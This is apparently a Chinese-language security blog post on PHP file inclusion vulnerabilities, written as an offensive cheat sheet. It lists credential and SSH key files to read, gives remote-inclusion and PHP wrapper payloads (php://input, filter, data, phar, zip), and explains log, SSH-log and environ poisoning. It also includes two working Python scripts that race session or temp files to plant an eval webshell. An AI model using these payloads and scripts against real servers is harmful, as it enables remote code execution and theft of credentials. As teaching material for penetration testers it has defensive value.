返回
Featured image of post PHP 文件包含漏洞相关

PHP 文件包含漏洞相关

go!

PHP文件包含漏洞相关

类别

  • 本地文件包含

如若关闭allow_url_fopen,一般只能包含本地文件

  • 远程文件包含

需要开启allow_url_fopen allow_url_include

注意:

php.ini中,allow_url_fopen默认开启,而allow_url_include从php5.2之后默认关闭

包含的相关函数

引发文件包含漏洞的相关函数如下:

  • include()
  • include_once()
  • require()
  • require_once()

require()在包含过程中出错(比如文件不存在),会直接退出,不执行后续语句

include()出错,会执行后续语句

require_once()和include_once(),如果某文件已经被包含,则不会再包含该文件,避免重定义或变量赋值等问题

以上四个函数,不论文件类型如何(比如图片、.txt),都会直接被当作php文件进行解析

利用

本地敏感文件包含

常见敏感文件列表:

Windows:
    C:\boot.ini //查看系统版本
    C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
    C:\Windows\repair\sam //存储系统初次安装的密码
    C:\Program Files\mysql\my.ini //Mysql配置
    C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
    C:\Windows\php.ini //php配置信息
    C:\Windows\my.ini //Mysql配置信息
    ...
Linux:
    /root/.ssh/authorized_keys
    /root/.ssh/id_rsa
    /root/.ssh/id_ras.keystore
    /root/.ssh/known_hosts
    /etc/passwd
    /etc/shadow
    /etc/my.cnf
    /etc/httpd/conf/httpd.conf
    /root/.bash_history
    /root/.mysql_history
    /proc/self/fd/fd[0-9]*(文件标识符)
    /proc/mounts
    /porc/config.gz

远程文件包含

payload:

[http|https|ftp]://www.test.com/shell.txt

若后缀名写死,可以用 ? 绕过:

//www.test.com/shell.txt?a

如果是包含远程服务器上的PHP文件,那么得到的是被远程服务器解析过的PHP,所以在写一句话木马的时候就不要做成.php的文件,一般包含.txt的文件

伪协议

file://

一般用来读本地文件:

file://文件的绝对路径

php://协议

  • php://input

php://input协议主要用于访问各个输入/输出流。

php://input可读取未经处理过的POST数据

enctype="multipart/form-data"的时候,php://input是无效的

遇到file_get_contents,也可使用php://input获取POST内容。

利用条件:

allow_url_fopen 无要求
allow_url_include = On

payload:

?file=php://input

POST:
<?php phpinfo ?>
  • php://filter

php://filter是一种元封装器,设计用于”数据流打开”时的”筛选过滤”应用,对本地磁盘文件进行读写。对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、file() 和 file_get_contents()。

常见参数:

string.toupper                                     //上面有写
string.tolower                                     //转换为小写
string.strip_tags                                  //去除html和php标记,比如<?php?>
convert.base64-encode                              //base64编码
convert.base64-decode                              //base64编码
convert.quoted-printable-encode                    //quoted-printable 转 8bit
convert.quoted-printable-decode                    //同上

利用条件:

默认

payload:

?file=php://filter/convert.base64-encode/resource=include.php

解码后读取源码即可。

data://协议

利用data://伪协议进行代码执行的思路原理和php://是类似的,都是利用了PHP中的流的概念,将原本的include的文件流重定向到了用户可控制的输入流中。

利用条件:

php版本>=5.2

allow_url_fopen = On

allow_url_include = On

payload:

?file=data://text/plain,<?php phpinfo()?>
?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
?file=data:text/plain,<?php phpinfo()?>
?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

phar://协议

当文件上传被过滤,可结合文件包含利用。

利用条件:

php版本>=5.3.0

payload-将一句话-shell.php压缩为shell.zip,修改后缀为上传点允许值,例如.png,上传至网站:

//指定绝对路径
?file = phar:///var/www/html/test.png/phpinfo.txt

//指定相对路径
?file = phar://./test.png/phpinfo.txt

zip://, bzip2://, zlib://协议

这三个协议均属于压缩流,可访问压缩包中的子文件。后缀名无所谓,只要是zip文件头即可。

利用条件:

php版本>5.3.0

payload:

zip:///var/www/html/phpinfo1.php#phpinfo.php

注意#要url编码

伪协议总结

日志文件

Web请求一般会被记录再日志文件中,例如apache的access logerror log,该两个文件路径默认在/var/log/apache2/下。

因此可以构造带有一句话木马内容的请求,会被记录日志中,再包含日志即可。

注意:

一般WWW用户是无权限读取该日志的,应用场景有限。

Session文件

PHP中 upload_process 和 session相关配置介绍

session.upload_progress.enabled = on
session.upload_progress.cleanup = on
session.upload_progress.prefix = "upload_progress_"
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"

session.use_strict_mode
  • enabled=on表示当浏览器向服务器上传文件的时候,PHP会把本次文件上传的详细信息存储在session中
  • cleanup=on表示上传结束后,PHP会立即清空对应的session文件中的内容
  • PHP文档中对prefixname两个选项详细说明:

  • session.use_strict_mode=0,表明用户可以自定义Session ID。具体而言,我们在Cookie中设置Cookie:PHPSESSID=test,PHP将会在服务器上session存储的位置创建一个文件sess_test,即使用户没有初始化Session,PHP也会自动初始化Session,并且产生一个键值,这个键值由session.upload_progress.prefix+session.upload_progress_name组成,最后被写入sess_test文件中。

利用条件

  • 能够创建session文件并知晓路径

  • 内容可控

session路径

常见:

  • /tmp/
  • /tmp/sessions
  • /var/lib/php/
  • /var/lib/php/sessions/

利用思路

由于上传文件结束后,session文件会被清除,我们可以上传大文件,并在上传时自定义session让服务端创建session文件;同时使用条件竞争,在session文件被删除前抢先进行文件包含。

  • bp抓包,跑上传大文件的intrude
  • 跑文件包含的intrude

利用脚本多线程跑:

import io
import requests
import threading
sessid = 'test'
data = {"cmd":"system('whoami');"}
def write(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        resp = session.post( 'http://127.0.0.1:7777/test56.php', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('haha.txt',f)}, cookies={'PHPSESSID': sessid} )
def read(session):
    while True:
        resp = session.post('http://127.0.0.1:7777/test56.php?file=session/sess_'+sessid,data=data)
        if 'haha.txt' in resp.text:
            print(resp.text)
            event.clear()
        else:
            print("[+++++++++++++]retry")
if __name__=="__main__":
    event=threading.Event()
    with requests.session() as session:
        for i in xrange(1,30): 
            threading.Thread(target=write,args=(session,)).start()

        for i in xrange(1,30):
            threading.Thread(target=read,args=(session,)).start()
    event.set()

SSH log

条件:

  • 知晓SSH log路径,且可读

一般在/var/log/auth.log

payload:

ssh <?php phpinfo();?>@ip
 
再进行本地包含

environ

PHP以cgi方式运行,proc/self/environ会保存user-agent头。如果在user-agent中插入php代码,则php代码会被写入到environ中。之后再包含它,即可。

条件:

  • CGI方式运行
  • environ文件可读

临时文件

上述这些方法要求能够包含不再Web目录下的文件,一旦PHP设置了open_basedir,则很可能会使得攻击失效。

向服务器上任意 php 文件以 form-data 式提交请求上传数据时,会生成临时文件:

利用:

  • 临时文件在短时间内会被删除,所以需要竞争条件
  • 而临时文件名也不知道,如果服务器上有phpinfo,可以从upload_tmp_dir上获取

参考exp:https://github.com/vulhub/vulhub/blob/master/php/inclusion/exp.py

自包含

让 php 包含自身从而导致死循环然后 php 就会崩溃,那么它所产生的临时文件就会被保留,而不会被清除,再进行包含。

思路:

  • 上传产生临时文件
  • phpinfo获取临时文件名
  • 自包含/test.php?include=test.php形成无穷递归,中断删除过程
  • 本地包含

上传文件+崩溃

让 php 包含自身从而导致死循环然后 php 就会崩溃,如果请求中同时存在一个上传文件的请求,则上传的该文件就会被保留。

利用脚本:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import string
import itertools
charset = string.digits + string.letters
host = "x.x.x.x"
port = 80
base_url = "http://%s:%d" % (host, port)
def upload_file_to_include(url, file_content):
    files = {'file': ('evil.jpg', file_content, 'image/jpeg')}
    try:
        response = requests.post(url, files=files)
    except Exception as e:
        print e
def generate_tmp_files():
    webshell_content = '<?php eval($_REQUEST[c]);?>'.encode(
        "base64").strip().encode("base64").strip().encode("base64").strip()
    file_content = '<?php if(file_put_contents("/tmp/ssh_session_HD89q2", base64_decode("%s"))){echo "flag";}?>' % (
        webshell_content)
    phpinfo_url = "%s/include.php?f=include.php" % (
        base_url)
    length = 6
    times = len(charset) ** (length / 2)
    for i in xrange(times):
        print "[+] %d / %d" % (i, times)
        upload_file_to_include(phpinfo_url, file_content)
def main():
    generate_tmp_files()
if __name__ == "__main__":
    main()

总结

当找不到本地可包含的文件,有三种方法可行:

  • 产生临时文件,竞争条件getshell
  • 使用session.upload_process,包含session文件
  • 让PHP崩溃,同时产生临时文件或上传文件,都可被保留。
Licensed under CC BY-NC-SA 4.0
Built with Hugo
Theme Stack designed by Jimmy